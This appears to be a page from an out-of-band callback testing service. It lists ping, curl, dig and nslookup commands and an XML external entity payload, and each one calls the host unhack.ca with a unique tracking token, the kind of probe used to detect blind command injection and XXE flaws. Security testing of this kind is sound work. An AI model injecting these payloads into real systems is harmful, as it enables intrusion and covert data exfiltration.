$ ping -c1 -p 00eb89a8f0c9532a872349d9f0cbf400 unhack.ca
 

$ curl http://unhack.ca/p/eb89a8f0c9532a872349d9f0cbf4
 

$ dig eb89a8f0c9532a872349d9f0cbf4 @unhack.ca
 

$ dig eb89a8f0c9532a872349d9f0cbf4.ns.unhack.ca
 

C:\> nslookup eb89a8f0c9532a872349d9f0cbf4 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/eb89a8f0c9532a872349d9f0cbf4">]>
    <foo>&xxe;</foo>